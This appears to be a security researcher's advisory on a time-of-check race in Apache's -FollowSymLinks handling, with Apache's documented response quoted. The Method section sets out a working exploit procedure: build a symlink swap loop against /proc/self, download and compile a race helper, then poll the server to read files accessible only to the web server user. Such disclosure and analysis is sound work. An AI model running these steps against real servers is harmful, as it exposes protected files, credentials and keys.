Introduction

apache2 has a TOCTOU (time of check to time of use) feature when cheching for symlinks and symlink-following is disabled via -FollowSymLinks. This is not a security vulnerability because the behavior is part of the specification and documentation. Those, who oversaw this line in the documentation, might have a false impression about the security of their apache installation (configuration).
A user, that is able to modify a part of the directory structure used by apache for file delivery, can use this to make apache follow a symlink to a location outside of this tree. This is especially interesting to read files, accessible only by www-data, the default apache user on ubuntu, and might be a severe problem, when combined with apache misconfiguration, e.g. logfiles or ssl certificate readable by apache, but not other users. Another scenario could be an apache server with ftp/nfs access, where the users would not be able to access data outside of their "home" direcctory.
The problem has a few similarities to generic backup system vulnerability, where many backup still have unfixed problems handling data from untrusted directories correctly. A better kernel/syscall interface would make it much easier to write symlink-attack-proof software in both cases.

Method

Apache can be configured to serve data from other users, but should not follow symlinks. A configuration might look like

>Directory /home/test/www/< Options Indexes -FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all >/Directory< Alias /test/ "/home/test/www/"

Let us assume, that there is a file, the user knows about, but has no permission to read, e.g. /proc/<pid>/maps. The malicous user owning /home/test/www could then ...

# mkdir -p /home/test/www/self # dd if=/dev/zero bs=4k count=1 of=/home/test/www/self/maps # cd /home/test/www # ln -s /proc/self self-link # wget https://www.halfdog.net/Security/2011/ApacheNoFollowSymlinkTimerace/RenameLoop.c # gcc -o RenameLoop RenameLoop.c # ./RenameLoop self aaa self-link

RenameLoop just replaces the local self directory structure with a symlink to /proc/self/ and vice versa. Then the user fetches the file until he wins the race and receives a non-empty and nullbyte-free copy of memory mappings, e.g.

# while true; do wget -q -O - http://localhost/test/self/maps | tee -a /tmp/log; done

Of course, this method can be used to access any file readable by httpd. This might also work agains /proc/self/mem when using Range headers, but linux-3.0-rc3 kernel protects /proc/mem of suid-binaries. If not protected, this might lead to disclosure of basic-auth data or SSL certificate and keys.

Discussion

The issues demonstrates the typical problem when handling symlinks: the kernel does not provide an atomic open-and-stat or fststat-path(fd, *struct stat) method, that would make it much simpler to write flawless code, especially when handling untrusted data (see also FilesystemRecursionAndSymlinks).

The exploitability of this issue has to be put into perspective. The real-word might be reduced, since good success rate is only archived, when user has also ability to run code on the machine, e.g. directly or via cgi/perl/php. In that scenario, the user might find other methods more suitable to access data or even increase his privileges, something, that cannot be done directly using this technique. From my point of view, following scenarios might be most problematic:

Information from apache.org 20110625:

httpd has never claimed (or attempted) to implement any security restriction on following symlinks. This is mentioned in the current docs for Options:

https://httpd.apache.org/docs/2.2/mod/core.html#options "symlink testing is subject to race conditions that make it circumventable"

You have some discussion in your document of the perspective. httpd's support for running children as a less-privileged non-root user allows admins to restrict the capabilities of those children. It is a misconfiguration if the less-privileged user is allowed access to privileged files; there is little httpd itself can to do prevent (or detect) that situation.

Similarly, it is the admin's responsibility to consider what escalation of privileges is possible by allowing less-trusted users to author content.

Material, References

Last modified 20171228
Contact e-mail: me (%) halfdog.net